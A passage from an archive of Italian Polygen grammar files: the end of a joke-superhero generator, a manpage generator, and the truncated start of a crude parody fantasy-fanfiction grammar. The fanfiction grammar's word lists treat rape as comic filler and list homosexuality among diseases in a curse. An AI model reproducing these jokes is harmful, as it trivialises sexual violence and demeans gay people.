oggetti inutili | dire ( "''No!''" | "''Si'!''" ) in Emero^Emero modi diversi | dirti la sua | diventare invisibile [ se nessuno lo guarda ] | dormire | essere un ( vampiro | lupo mannaro ) | far cadere il mondo | fare la bua | flettere i muscoli e gettarsi nel vuoto | incazzarsi | leggere le menti | non capire una mazza | non fare niente | non mandarla a ( dire | fare ) | [ non ] trattenere il fiato [ per Emero^Emero minuti ] | pagare uno sceneggiatore per scrivere fumetti sulle sue avventure (spacciandole per vere) | parlare (bene | male) in ("Italiano" | "Inglese" | "Afrikaans") | pavoneggiarsi | respirare aria | resuscitare | rigenerare le sue ferite | rigirarsi i pollici [ a velocita' incredibili ] | rimanere [ visibilmente ] turbato | rosicare | scaccolarsi | scassare le palle | scavare | sentire le voci | spalmarti | sparire al momento sbagliato | toccarsi | trasformarsi | uccidere | avere una motosega al posto di un braccio ) ; Abilita ::= E: ( " e'" (Verbo Oggetto | Azione) |---- " non e'"(Verbo Oggetto | Azione)^", ma e'" (Verbo Oggetto | Azione)) | Puo: (" che") (puo' (Verbo Oggetto | Azione) |---- non puo' (Verbo Oggetto | Azione)^", ma puo'" (Verbo Oggetto | Azione)) ; Evento ::= ( aiuto' una vecchietta [ radioattiva ] ad attraversare la strada | alzo' la sua spada al cielo [ e grido' ''per il potere della porchetta^Esclamo^'' | e grido' ] | capi' a cosa serv^( e la milza | ono i polmoni ) | fu investito da un camion [ radioattivo ] | fu morso da AnimaleUn che emetteva radiazioni | si accorse che gli erano piaciuti "Matrix 2 e 3" | lo colpi' un fulmine | mangio' da "McDonald's" | mori' e resuscito' | pago' uno sceneggiatore per scrivere delle sue gesta (spacciandole per vere) | (provoco' | fu coinvolto nel^ ) l'esplosione di una centrale nucleare | raggiunse il "Nirvana" | ( riusci' a trovare la marmotta della "Milka" | incontro' il mago "Othelma" ) [^", che gli rivelo' i segreti del"^("l'uni" | " multi")^"verso" ] | (sconfisse | fu sconfitto da) Combo | si guardo' l'ombelico | si scaccolo' | strinse la mano PersonaA (_ | "(rimanendo" ( visibilmente | _ ) "turbato)") | trattenne il fiato per Emero^Emero minuti | ( uccise | salvo' ) Persona | vide la luce ) ; Oggetto ::= ( acqua | aria | assi | ( assi | ferri ) da stiro | calci | donne | elettricita' | frasi a caso | fulmini | fuoco | ghiaccio | tetti | laser | legno | menti | monete | oggetti inutili | ossigeno | piombo | piscine | piume | pugni | raggi ottici | ragnatele | sentenze | terra | tubi | uomini | _) ; Luogo ::= ( a Citta | da ( qualche | "un'altra" ) parte | in aria | Nazione | nell'acqua | sopra un tetto | sotto una cascata | sottoterra | (su | in) un vulcano (spento | attivo) | sull'acqua ) ; Supergruppo ::= ( i ( "Fantasmagorici" | "Fantastici" | "Fichissimi" | "Miseri" | "Misteriosi" ) Emero | ( i ^Numero | gli 8 ) ( "Buffoni" | "Salti in Padella" | "Sofficini" | "Vendicatori" [ \Poteri.M.P ] ) | "l Commando" \Poteri.M.S | "l Dinamico" Gamero | lla ( "Squadra" | "Lega" | "Societa'" ) \Poteri.F.S | "lle"^Numero "Lanterne" | "lle"^Numero "Latrine" | l gruppo (Name | NameS | Adj | AdjS) ( ^s | "Agents" ) | i \Poteri.M.P "Amici" | gli (Name | NameS | Adj | AdjS) (_ | ^) "Men" ) ; Numero ::= ("" | " 2" | " 3" | " 4" | " 5" | " 6" | " 7" | " 9" | " 10") ; Emero ::= (------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |------- 10 |------- 11 |------- 12 |------- 13 |------- 14) ; Bavero ::= ( 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 0 ) ; Gamero ::= ( "Duo" | "Trio" | "Quartetto" | "Quintetto" | "Sestetto" | "Settetto" | "Ottetto" ) ; Anno ::= (--- 20 |+++ 19 |--- 18 )^Bavero^Bavero ; Semero ::= (--- Emero^Emero^Emero | Emero^Emero | Emero ) ; Mese ::= ( gennaio | febbraio | marzo | ^l'aprile | maggio | giugno | luglio | ^l'agosto | settembre | ^l'ottobre | novembre | dicembre ) ; Nemico ::= ( arci | super | "vecchio " | "") ; Poteri ::= M: (S: ( amorevole | cosmico | cremoso | disordinato | disorientante | disturbante | fantastico | futile | [dis^]gustoso | imbarazzante | improbabile | impossibile | improprio | intenso | inutile | mascarato | mascherato | mitico | oscuro | piacevole | profondo | radioattivo | sacro | santo | sconvolgente | segreto | sinistro | spaventoso | strano | straordinario | stupido | superfluo | tecnologico ) | P: ( amorevoli | cosmici | cremosi | disordinati | disorientanti | disturbanti | fantastici | futili | [dis^]gustosi | imbarazzanti | improbabili | impossibili | impropri | intensi | inutili | mascarati | mascherati | mitici | oscuri | piacevoli | profondi | radioattivi | santi | sconvolgenti | segreti | sinistri | spaventosi | strani | straordinari | stupidi | superflui | tecnologici ) ) | F: (S: ( amorevole | cosmica | cremosa | disordinata | disorientante | disturbante | fantastica | futile | [dis^]gustosa | imbarazzante | improbabile | impossibile | impropria | intensa | inutile | mascarata | mascherata | mitica | oscura | piacevole | profonda | radioattiva | sacra | santa | sconvolgente | segreta | sinistra | spaventosa | strana | straordinaria | stupida | superflua | tecnologica ) |P: ( amorevoli | cosmiche | cremose | disordinate | disorientanti | disturbanti | fantastiche | futili | [dis^]gustose | imbarazzanti | improbabili | impossibili | improprie | intense | inutili | mascarate | mascherate | mitiche | oscure | piacevoli | profonde | radioattive | sacre | sante | sconvolgenti | segrete | sinistre | spaventose | strane | straordinarie | stupide | superflue | tecnologiche ) ) ; Editore ::= (++ (++++++++ Casa | Name | NameS ) ( Casa | Fumetto | Name | NameS ) Fumetto |---- Casa "&" (+++++++ Casa | Fumetto | Name | NameS ) [ Fumetto ] ) ; Casa ::= ( 2000 | 3000 | "All" | "American" | "Ass." [ "Cult." ] | "Associazione" [ "Culturale" ] | "Bongo" | "Brambilla" | "Cenisio" | "Comic" | "Comico" | "Corno" | "Cult" | "Daily" | "DC" | "DeAgostini" | "Dino" | "Disney" | "Educational" | "Ekkehart" | "Entertaining" | "Event" [ ^s ] | "Fabbri" | "Funny" | "Graphics" | "Guybrush" | "Hobby" | "Image" | "King" | Lettera^"C" | Lettera^Lettera | "Lurido" | "Magic" | "Marvel" | ("Max" |"MAX") | "Mondadori" | "Mortadella" | Nazione2 | "New" | "Oscar" | "Panini" | "Penthouse" | "Play" | "Pop" | "Porchetta" | "Pull" | "Rasmussen" | "Sandwich" | "Schwarzmueller" | "Sirius" | "Special" | "Star" | "Super" | "Threepwood" | "Thundra" | "Ultra" | "Unto" | "War" | "Williams" | "Work" | "Works" | _) ; Fumetto ::= ( 2000 | 3000 | "Art" [ ^s ] | "Best" | "Classic" [ ^s ] | "Collection" | "Comic" |++++++++++++++ "Comics" | "Comix" | "Deluxe" | "Double" [ "Feature" ] | "Edition" [ ^s ] | "Editore" | "Editoriale" | "Edizioni" | "Entertainment" | "Event" [ ^s ] | "Extra" | "Fantasy" | "Feature" [ ^s ] | "Graphic" | "Hits" | "Magazine" [ ^s ] | "Mania" | "Mega" | "Mix" | Nazione2 | "Novel" [ ^s ] | "Pop" [ "Art" ] | "Presenta" | "Presents" | "Press" | "Productions" | "Saga" | "Special" | "Spotlight" | "Strips" | "Studios" | "Superheroes" | "Syndicate" | "Team-up" | "Top" | _) ; Serie ::= ''^""^ (Casa Fumetto | Combo | Name Fumetto | Adj Fumetto) ^""^'' ; Lettera ::= ("A" | "B" | "C" | "D" | "E" | "F" | "G" | "H" | "I" | "J" | "K" | "L" | "M" | "N" | "O" | "P" | "Q" | "R" | "S" | "T" | "U" | "V" | "W" | "X" | "Y" | "Z") ; Nazione ::= ( in NazioneIn | a NazioneA | ad NazioneAd | negli NazioneNegli | nei NazioneNei | nel NazioneNel | nell'^NazioneNell | nello NazioneNello | nella NazioneNella | nelle NazioneNelle | su NazioneSu | sulla NazioneSulla | NazioneSpec ) ; Nazione2 ::= ( NazioneIn | NazioneA | NazioneAd | NazioneNegli | NazioneNei | NazioneNel | NazioneNell | NazioneNello | NazioneNella | NazioneNelle | NazioneSu | NazioneSulla ) ; NazioneIn ::= ( "Afghanistan" | "Africa" | "Albania" | "Algeria" | "America" | "Andorra" | "Angola" | "Anguilla" | "Antartide" | ( "Arabia" | "Arabia Saudita" ) | "Argentina" | "Armenia" | "Asia" | "Australia" | "Austria" | "Azerbaijan" | "Bahrain" | "Bangladesh" | "Belgio" | "Benin" | "Bhutan" | "Bielorussia" | "Bolivia" | "Bosnia" | "Botswana" | "Brasile" | "Brunei" | "Bulgaria" | "Burkina Faso" | "Burundi" | "Cambogia" | "Camerun" | "Canada" | "Cecoslovacchia" | "Cile" | "Cina" | "Colombia" | ("Congo" | "Congo-Brazzaville" | "Congo-Kinshasa") | ("Corea" | "Corea del Nord" | "Corea del Sud") | "Costa d'Avorio" | "Costa Rica" | "Croazia" | "Danimarca" | "Dominica" | "Ecuador" | "Egitto" | "Eritrea" | "Estonia" | "Etiopia" | "Europa" | "Finlandia" | "Francia" | "Galles" | "Gambia" | "Georgia" | "Germania" | "Ghana" | "Giamaica" | "Giappone" | "Giordania" | ("Gran Bretagna" | "Gran Bretagna e Irlanda del Nord") | "Grecia" | "Groenlandia" | "Guadalupa" | "Guam" | "Guatemala" | "Guinea" | "Guinea-Bissau" | ("Guyana" | "Guiana") | "Honduras" | "India" | "Indonesia" | "Inghilterra" | "Iran" | "Iraq" | "Irlanda" | "Islanda" | "Israele" | "Italia" | "Jugoslavia" | "Kazakhistan" | "Kenia" | "Kuwait" | "Kyrgyzstan" | "Lapponia" | "Latveria" | "Lesoto" | "Lettonia" | "Libano" | "Liberia" | "Libia" | "Liechtenstein" | "Lituania" | "Lussemburgo" | "Macedonia" | "Madagascar" | "Malawi" | "Malesia" | "Mali" | "Malta" | "Marocco" | "Martinica" | "Mauritania" | "Messico" | "Micronesia" | "Moldavia" | "Mongolia" | "Mozambico" | ("Myanmar" | "Birmania") | "Namibia" | "Nepal" | "Nicaragua" | "Niger" | "Nigeria" | "Norvegia" | "Oceania" | "Olanda" | "Oman" | "Pakistan" | "Palestina" | "Papua-Nuova Guinea" | "Paraguay" | "Peru'" | "Polinesia" | "Polonia" | "Porto Rico" | "Portogallo" | "Qatar" | "Romania" | "Ruanda" | "Russia" | "Scandinavia" | "Scozia" | "Senegal" | ("Serbia e Montenegro" | "Serbia") | "Sierra Leone" | "Siria" | "Slovacchia" | "Slovenia" | "Somalia" | "Spagna" | "Sri Lanka" | "Sudafrica" | "Sudan" | "Suriname" | "Svezia" | "Svizzera" | "Swaziland" | "Tagikistan" | "Thailandia" | "Tanzania" | "Tibet" | "Togo" | "Tunisia" | "Turchia" | "Turkmenistan" | "Ucraina" | "Uganda" | "Ungheria" | "Uruguay" | "Uzbekistan" | "Vaticano" | "Venezuela" | "Vietnam" | "Zambia" | "Zimbabwe" | Regione ) ; NazioneA ::= ( "Barbuda" | "Belize" | "Capo Verde" | "Cipro" | "Cuba" | "Gibilterra" | "Gibuti" | "Grenada" | "Guernsey" | "Jersey" | "Kiribati" | "Macao" | "Malta" | "Manx" | "Mayotte" | "Monaco" | "Montserrat" | "Nauru" | "Niue" | "Palau" | "Panama" | "Riunione" | ("San Kitts e Nevis" | "San Kitts" | "Nevis") | ("San Tome' e a Principe" | "San Tome'" | "Principe") | "San Marino" | ("San Pierre e Miquelon" | "San Pierre" | "Miquelon") | "Santa Lucia" | "Sark" | "Sealand" | "Seborga" | "Singapore" | "Taiwan" | "Timor Est" | "Tokelau" | "Tonga" | ("Trinidad e a Tobago" | "Trinidad" | "Tobago") | "Tristan de Cunha" | "Tromelin" | "Tuvalu" | "Vanuatu" | ("Wallis e Futuna" | "Wallis" | "Futuna") ) ; NazioneAd ::= ( "Alderney" | ( "Antigua" | "Antigua e Barbuda" ) | "Aruba" | "Haiti" | "Hong Kong" ) ; NazioneNegli ::= ( ("Emirati Arabi Uniti" | "Emirati" | "Emirati Arabi") | ("USA" | "Stati Uniti" | "Stati Uniti d'America") ) ; NazioneNei ::= ( "Paesi Bassi" ) ; NazioneNel ::= ( "Ciad" | "Cipro del Nord" | "Gabon" | "Laos" | "Montenegro" | "Multiverso" | "Principato di Monaco" | "Principato di Seborga" | "Regno Unito" | "Sahara" [ "dell'Ovest" ] | "Salvador" ) ; NazioneNell ::= ( "Irlanda del Nord" | "Isola di Man" | "Isola Norfolk" | "Isola Wake" | "Universo" | ( "Unione Sovietica" | "URSS" ) ) ; NazioneNello ::= ( "Yemen" ) ; NazioneNella ::= ( "Guiana Francese" | "Guinea Equatoriale" | [ "Nuova" ] "Caledonia" | [ "Nuova" ] "Zelanda" | "Polinesia Francese" | "Repubblica Ceca" | "Repubblica Centroafricana" | "Repubblica Dominicana" | "Repubblica di San Marino" ) ; NazioneNelle ::= ( "Antille" [ "Olandesi" ] | "Bahamas" | "Barbados" | "Bermuda" | "Filippine" | ("Isole Cayman" | "Cayman") | ("Isole Cocos" | "Cocos") | "Isole Comore" | "Isole Cook" | "Isole di Natale" | ("Isole Falkland" | "Falkland") | ("Isole Faroe" | "Faroe") | ("Isole Fiji" | "Fiji") | "Isole Marshall" | ("Isole Mauritius" | "Mauritius") | "Isole Midway" | ("Isole Pitcairn" | "Pitcairn") | "Isole Salomone" | ("Isole Vergini" | "Isole Vergini Britanniche") | "Maldive" | "Marianne del Nord" | ("Samoa" | "Samoa Americane") | "Seychelles" ) ; NazioneSu ::= ( "Giove" | "Krypton" | "Marte"| "Mercurio" | "Venere" ) ; NazioneSulla ::= ( "Luna" ) ; NazioneSpec ::= ( nelle "Bermuda (dove tutte le copie scomparvero misteriosamente)" | nel "Commonwealth" [ britannico ] | nella "Comunita' del Pacifico" | in "Danimarca (dove c'e' del marcio)" | nella "Federazione Russa" | (nella ("Georgia del Sud e nelle Isole Sandwich del Sud" | "Georgia del Sud") | nelle ("Isole Sandwich" | "Isole Sandwich del Sud")) | (nelle "Isole Heard e McDonald" | nell'^"Isola Heard" | nell'^"Isola McDonald") | (nelle "Isole Turks e Caicos" | nell'^("Isola Turks" | "Isola Caicos") | a ("Turks" | "Caicos")) | nel "Mondo" intero | nei paesi arabi | (a ("San Vincent e nelle Grenadine" | "San Vincent") | nelle "Grenadine") | (a ("Sant'Elena" | "Sant'Elena e nelle sue dipendenze") | nelle dipendenze di "Sant'Elena") | nella ("Santa Sede" | "Citta' del Vaticano") | nel sud^"-"^est asiatico | nei territori britannici (in "Antartide" | dell'"Oceano Indiano") | nei terroritori francesi (in "Antartide" | del sud) | in "un'altra" dimensione ) ; Citta ::= ( ^d "Agrigento" | ^d "Alessandria" | ^d "Ancona" | ^d "Andria" | ^d "Aosta" | ^ll'"Aquila" | ^d "Arezzo" | ^d "Ascoli Piceno" | ^d "Asti" | ^d "Avellino" | "Bari" | "Barletta" | "Bassano del Grappa" | "Belluno" | "Benevento" | "Bergamo" | "Biella" | "Bologna" | "Bolzano" | "Brescia" | "Brindisi" | "Cagliari" | "Caltanissetta" | "Campobasso" | "Carbonia" | "Carrara" | "Caserta" | "Catania" | "Catanzaro" | "Cesena" | "Chieti" | "Como" | "Cosenza" | "Cremona" | "Crotone" | "Cuneo" | "Domodossola" | "Enna" | "Fermo" | "Ferrara" | "Firenze" | "Foggia" | "Forli'" | "Frosinone" | "Genova" | "Gorizia" | "Grosseto" | "Iglesias" | "Imperia" | "Isernia" | "La Spezia" | "Lanusei" | "Latina" | "Lecce" | "Lecco" | "Livorno" | "Lodi" | "Lucca" | "Macerata" | "Malibu" | "Mantova" | "Massa" | "Matera" | "Messina" | "Milano" | "Modena" | "Monza" | "Napoli" | "New York" | "Novara" | "Nuoro" | "Olbia" | "Oristano" | "Otranto" | "Padova" | "Palermo" | "Parma"| "Pavia" | "Pesaro" | "Pescara" | "Perugia" | "Piacenza" | "Pisa" | "Pistoia" | "Pordenone" | "Potenza" | "Prato" | "Ragusa" | "Ravenna" | "Reggio Calabria" | "Reggio Emilia" | "Rieti" | "Rimini" | "Roma" | "Rovigo" | "Salerno" | "San Giovanni Valdarno" | "Sanluri" | "Sarajevo" | "Sassari" | "Savona" | "Siena" | "Siracusa" | "Sondrio" | "Taranto" | "Tempio Pausania" | "Teramo" | "Terni" | "Torino" | "Tortoli'" | "Trani" | "Trapani" | "Trento" | "Treviso" | "Trieste" | "Udine" | "Urbino" | "Varese" | "Venezia" | "Verbania" | "Vercelli" | "Verona" | "Vibo Valentia" | "Vicenza" | "Viterbo" | "Washington" | "Zagabria" ) ; Regione ::= ( "Abruzzo" | "Alto Adige" | "Basilicata" | "Calabria" | "Campania" | "Emilia" | "Emilia-Romagna" | "Friuli" | "Friuli-Venezia Giulia" | "Lazio" | "Liguria" | "Lombardia" | "Marche" | "Molise" | "Piemonte" | "Puglia" | "Romagna" | "Sardegna" | "Sicilia" | "Toscana" | "Trentino" | "Trentino-Alto Adige" | "Umbria" | "Valle d'Aosta" | "Veneto" | "Venezia Giulia" ) ; Animale ::= ( bradipo | canarino | cavietta | cane | cincilla' | coleottero | criceto | ermellino | furetto | gatto | ghiottone | lombrico | marmotta | marmotta della "Milka" | nonnina | nonnino | pipistrello | polipo | politico | ragno | serpente | tapiro | vecchietta ) ; AnimaleUn ::= ( un ( bradipo | canarino | ^a cavietta | cane | cincilla' | coleottero | criceto | ermellino | furetto | gatto | ghiottone | lombrico | ^a marmotta [ "forse quella della Milka?" ] | ^a nonnina | nonnino | pipistrello | polipo | politico | ragno | serpente | tapiro | ^a vecchietta ) ) ; Persona ::= ( "Dante" [ "Alighieri" ] | [ "Silvio" | "Piersilvio" ] "Berlusconi" | [ "George" | "George W." ] "Bush" | "Jim Carrey" | "Fidel Castro" | "Tony Clifton" | [ "Massimo" ] "D'Alema" | [ "Alessandro" ] "Del Piero" | "Fonzie" | "Bill Gates" | [ "Mikhail" ] "Gorbaciov" | "Che Guevara" | [ "Jimi" ] "Hendrix" | [ "Adolf" ] "Hitler" | "Andy Kaufmann" | "Lenin" | "Freddy Mercury" | "Jim Morrison" | "Leo Ortolani" | "Othelma" | "Pac-Man" | il "Papa" | "Elvis" [ "Presley" ] | [ "Romano" ] "Prodi" | [ "Toto'" | "Salvatore" ] "Riina" | [ "Francesco" ] "Rutelli" | "Bruno Vespa" | "Sid Vicious" | "Stalin" | "Margaret Thatcher" | ("Andy" | "Larry") "Wachowski" ) ; PersonaA ::= ( a ( "Dante" [ "Alighieri" ] | [ "Silvio" | "Piersilvio" ] "Berlusconi" | [ "George" | "George W." ] "Bush" | "Jim Carrey" | "Fidel Castro" | "Tony Clifton" | [ "Massimo" ] "D'Alema" | [ "Alessandro" ] "Del Piero" | "Fonzie" | "Bill Gates" | [ "Mikhail" ] "Gorbaciov" | "Che Guevara" | [ "Jimi" ] "Hendrix" | [ "Adolf" ] "Hitler" | "Andy Kaufmann" | "Lenin" | "Freddy Mercury" | "Jim Morrison" | "Leo Ortolani" | "Othelma" | "Pac-Man" | ^l "Papa" | "Elvis" [ "Presley" ] | [ "Romano" ] "Prodi" | [ "Toto'" | "Salvatore" ] "Riina" | [ "Francesco" ] "Rutelli" | "Bruno Vespa" | "Sid Vicious" | "Stalin" | "Margaret Thatcher" | ("Andy" | "Larry") "Wachowski" ) ) ; Grido ::= ''^""^( "Acciderbol"^Ina^Esclamo | "Difendero'" coloro che abitano Nazione "dal male"^Esclamo | "Non dire "^Animale^" se non ce l'hai nel sacco"^Esclamo | "Per "^Din^Rin^Ina^Esclamo | "Portero' la pace" Nazione^Esclamo | \Poteri.F.S polenta^Esclamo | ( "Su" | "Giu'")^"," ( su | giu' ) "e via"^Esclamo | ("Ti sconfiggero'" | "Mi sconfiggerai")^", con i "^(miei | tuoi)^" poteri "^Poteri.M.P^Esclamo )^""^'' ; Esclimo := ( ("!"^)+ | ("?"^)+ | ("!?"^)+ ) ; Esclamo ::= (Esclimo | Esclimo^Esclimo | Esclimo^Esclimo^Esclimo) ; Din ::= ( din | dindin | di | dindi) ; Rin ::= ( rin | ri | rinrin | ririn | rinri) ; Ina ::= ( ina | inaina | inina | inaaaaaaaaaaaaaaa) ; Costume ::= ( ( una giacca [ a Geom ] [ di colore Colore ]^",") ( un costume | una calzamaglia | una divisa ) [ a Geom ] [ di colore Colore | di colore Colore e Colore ]^[" con un simbolo" Colore ]^(" e" un mantello [ a Geom ] [ di colore Colore | di colore Colore e Colore ]^) | ( un costume | una calzamaglia | una divisa ) [ a Geom ] [ di colore Colore | di colore Colore e Colore ]^[" con un simbolo" Colore ]^(" e" un mantello [ a Geom ] [di colore Colore | di colore Colore e Colore ]^) | ( una giacca [ a Geom ] [ di colore Colore ] e) ( un costume | una calzamaglia | una divisa ) [ a Geom ] [ di colore Colore | di colore Colore e Colore ]^[" con un simbolo" Colore ] | una giacca [ a Geom ] [ di colore Colore | di colore Colore e Colore ]^[" con un simbolo" Colore ] | ( un costume | una calzamaglia | una divisa ) [ a Geom ] [ di colore Colore | di colore Colore e Colore ]^[" con un simbolo" Colore ] ) ; Geom ::= ( strisce ( verticali | orizzontali ) | scacchi | pois ) ; Colore ::= ( amaranto | arancione | avorio | azzurro | bianco | blu | ciano | crema | cremisi | fucsia | giallo | grigio | indaco | lilla | marrone | nero | porpora | rosa | rosso | verde [ pisello | speranza ] | viola | violetto ) ; polygen-1.0.6.ds2/grm/ita/man.grm0000644000175000017500000000536510340417034016033 0ustar enricoenricoI ::= "title: Polygen manpage\n" ^ "author: Enrico Zini <enirco@debian.org>\n" ^ "language: english\n" ^ "status: embryonic\n" ^ "topic: polygen\n" ^ "comment: the generated manpage is still incomplete\n" ^ "created: 15/09/2004" ; S ::= ".TH POLYGEN 1 \"September 15, 2004\"\n" ^ ".SH NAME\n" ^ Name "\n" ^ ".SH SYNOPSIS\n" ^ ".B polygen\n" ^ ".RI [options]\nsources\n" ^ ".SH DESCRIPTION\n" ^ Description "\n" ^ ".SH OPTIONS\n" ^ "Please run \\fBpolygen\\fP without parameters for an explanation on how to run \\fBpolygen\\fP.\n" ^ ".SH AUTHOR\n" ^ Author ; Name ::= Polygen "-" ShortDesc ; Polygen ::= "Polygen" ; ShortDesc ::= Polygen "is a" Whatis "for" Whatitdoes Howitdoes ; Whatis ::= Attribute ( "program" | "tool" | "system" | "gadget" ) ; Attribute ::= ( _ | "powerful" | ^"n advanced" | ^"n innovative" ) ; Whatitdoes ::= ( "generating" | "creating" | "bursting out" | "computing" ) Random ( "sentences" | "wisdom" | "nonsense" ) ; Random ::= ( "random" | "deep" | "enlightening" | "zen" | "casual" | "accidental" | "aleatory" | "automatic" | "capricious" | "causeless" | "chancy" | "circumstantial" | "cool" | "cursory" | "destinal" | "desultory" | "dicey" | "erratic" | "extemporaneous" | "flippant" | "fluky" | "flunky" | "fortuitous" | "frivolous" | "gratuitous" | "iffy" | "improvised" | "incidental" | "serendipitous" | "spontaneous" | "stochastic" | "superfluous" | "thoughtless" | "unconscious" ) ; Howitdoes ::= "according to a grammar definition, that is following custom syntactical and lexical rules." ; Description ::= ShortDesc "\n.PP\n" ^ "Formally, it is an interpreter of a language itself designed to define languages, where to interpret means executing a source program in real time and eventually outputting its result." ^ "\n.PP\n" ^ "Here a source program is a grammar definition, the execution consists in the exploration of such grammar by selecting a random path and the result is the sentence built on the way." ^ "\n.PP\n" ^ "Though PolyGen is quite a seriuos piece of software then, what else would be more noble for it than being used as a parody tool for linguistical habits, stereotypes and trends of this foolish era?" ^ "\n.PP\n" ^ "Principles of parody are focusing a ridiculous topic and eventually abstracting its rules and schemes (here in terms of a grammar definition) by which reproducing it through the variatio device." ^ "\n.PP\n" ^ "And randomization is perfect at this purpose thanks to its purely asemantic behaviour =:)" ; Author ::= "Manta" ^ "\n.PP\n" ^ "This manpage has been generated after instructions given by Enrico Zini ." ; polygen-1.0.6.ds2/grm/ita/fantasyfanfiction.grm0000644000175000017500000002664510340417034020772 0ustar enricoenricoI ::= (T ::= un AGGETTIVO2.S racconto fantasy scritto da fan sfigati che cercano di emulare "Tolkien" e nel tempo libero si vestono da PROTAGONISTA; "title: "\T ^"\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "created: 06/04/2004" ) ; S ::= "\n\n" ILTITOLO "\n\n" PROLOGO c'era un PROTAGONISTA di nome NOME [^"," TITOLO del [magico | ^l'incantato] regno di REGNO^]"." DESCRAMICO^""(ALLEGRIA^".\n "\[MISFATTO^".\n "\cosi']|[\ma MISFATTO^".\n "\cosi'])^QUEST [ADV] MISF2^"." URLO^".\n" VENDETTA2 OUTCOME [REMEMBER] "\n" OUT2; DESCRAMICO ::= ("Era sempre seguito dal suo" | "Insieme a lui era solito" (cazzeggiare | combattere | avventurarsi | scaccolarsi | fare onanismo) il suo| "Con lui gironzolava sempre il suo" ) AMICO^"," [un [AGGETTIVO2.S] PROTAGONISTA] (chiamato | che si spacciava per | noto come | conosciuto come | che tutti conoscevano come) NOME ^"," il quale [pro^]veniva dalle [lontane| puzzolenti| remote| ignobili| inutili| anali| ridicole] (lande | terre) di REGNO^".\n" ; PROLOGO ::= ("In un tempo" | "In un luogo" | "In un mondo" | "In un posto" | "Tanto tempo fa" [^"," in un una galassia lontana lontana]) (senza tempo | dimenticato dai piu' | a noi ormai estraneo) ; QUANDO ::= (un bel (T:tragico|N:_) giorno | una (T:tragica|N:_) mattina | una (T:tragica|N:_) notte [di mezza estate | d'autunno | d'inverno] | in un (T:tragico|N:_) giorno (particolare | che non ricordo)) ; REGNO ::= ( "B"^[l]^"ash" | "Trog" | "Zwol" | "Mop" | "Yon" | "Wos" | "Zlom" | "Krol" | "Prot" ) ^ ( dor | tor | yor | zor | for | por ) ; PROTAGONISTA ::= >(orco | nano | coboldo | elfo [oscuro] ) [guerriero] [mago] [pastore] [ninja] [assassino]; NOME ::= ("Zyor" | "Thran" | "Grun" | "Krul"[^de] | "Thyu" | "Frun" | "Brod" | "Skorg" | "Zun") ^ (far | zar | par | grar | yop | gyap | zyp | dar | bus | dun | o[^lo]^k) ; AMICO ::= [migliore | piu' fido] >( amico | conoscente | partner | amante [gay] | compagno di ( bevute | battaglie | gare di rutti | onanismo | stupri)); OGGETTO ::= ARTEFATTO2.M | ARTEFATTO2.F ; OGGETTO2 ::= ARTEFATTO5.M | ARTEFATTO5.F ; ARTEFATTO1 ::= (((M:_ |F: ^la)("Mistic" | "Magic" | "Mitic" | "Vituperat" )(M:^o | F: ^a)) | (^"l'Incommensurabile" | ^"l'Inutile" | ^"l'Invincibile" | ^"l'Incantat"(M:^o | F: ^a))) ; ARTEFATTO2 ::= (M: ARTEFATTO1.M ARTEFATTO3.M | F: ARTEFATTO1.F ARTEFATTO3.F ) di (REGNO | NOME) ; ARTEFATTO3 ::= M:("Goldone" | "Assorbente" | "Calice" | "Ano" [bronzeo | aureo] ) | F: ("Ascia" | "Lancia" | "Spada" | "Verga" | "Motozappa") ; ARTEFATTO4 ::= (((M:il |F:la )("Mistic" | "Magic" | "Mitic" | "Vituperat" )(M:^o | F: ^a)) | ("l'Incommensurabile" | "l'Inutile" | "l'Invincibile" | "l'Incantat"(M:^o | F: ^a))) ; ARTEFATTO5 ::= (M: ARTEFATTO4.M ARTEFATTO3.M | F: ARTEFATTO4.F ARTEFATTO3.F ) di (REGNO | NOME) ; MESTIERE ::= l'usuraio | lo strozzino | il pappone | il boss mafioso | il camorrista | il carrozziere | il dentista | il commercialista | l'avvocato | il bagnino | l'operatore ecologico | il petoforo | il geometra ; TRIBUTO ::= (un tributo | un conto | una parcella | un pizzo | una tassa) di CIFRA ^ CIFRA [^CIFRA] [^CIFRA] MONETE ; MONETE ::=( dobloni | umberti d'oro | pezzi da otto | pezzi d'oro | ubaldi | culi di bronzo | sesterzi ) ; MOTIVO ::= (un rito di "Preparazione H" | un'operazione di cambio di sesso | la cromatura (delle spade | degli escrementi | delle interiora) | la rimozione de (^lla prostata | ^lle verruche | ^lla sifilide | ^l colon | ^ll'esofago)) che aveva (eseguito | fatto loro) CIFRA[^CIFRA] UNITA prima ; UNITA ::= anni | giorni | mesi | lustri | ore | minuti | ere ; CIFRA ::= ( 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9) ; TITOLO ::= cavaliere | difensore | capitano [dei cavalieri | delle guardie] | giullare di corte | ammaestratore di BESTIA.P ; BESTIA ::= (or(^co|^to) | crito | oclo | bruto | porro | irco | zompo | vacco | cato) ^ (potam(S:^o|P:^i) | ca[^ta][^rr(S:^o|P:^i)] | porc(S:^o|P:^i) | lu[^pe]^nt(S:^e|P:^i) | blep(S:^a|P:^i)) ; ALLEGRIA ::= "I due" (si amavano | combattevano [insieme] | si divertivano | stupravano | ruttavano | si ubriacavano | rumoreggiavano esalando gas corporei) [a destra e a manca] con [molto | simpatia e | onanismo e | gusto e | estremo | veemente | gagliardo] (divertimento | dileggio | impegno | ardore | fetore) e (tutto | ogni cosa ) sembrava andare (bene | per il meglio | liscio come l'olio) finche' (non accadde | non avvenne | la festa non fu rovinata) da >(un [AGGETTIVO2.S] misfatto | una tragedia | un [gran] bel [fottutissimo] casino) ; MISFATTO ::= (QUANDO.T i due (chiedendo il conto [in banca] | guardando nella borsa | cercando in un baule) videro che mancavano CIFRA ^ CIFRA [^CIFRA] [^CIFRA] MONETE | QUANDO.T i due (aprendo la porta | gironzolando) trovarono (alle loro calcagna | mentre cercava di sodomizzarli) AGGETTIVO1 ":" MESTIERE PROTAGONISTA NOME di REGNO) "." [ESCLAMAZIONE esclamarono i due]; ESCLAMAZIONE ::= "''"(\per (le bretelle | le mutande | la barba | lo scroto | il cerume) di | \che (NOME|REGNO) (maledica | bandisca) | \([che gli]venisse | che gli pigli) [dunque] (un bruciaculo | un attacco di (emorroidi | caghetto | peste [bubbonica] | ernia anale | colera | omosessualita' | coprofagia )) a quel BESTIA.S di ) NOME "!! 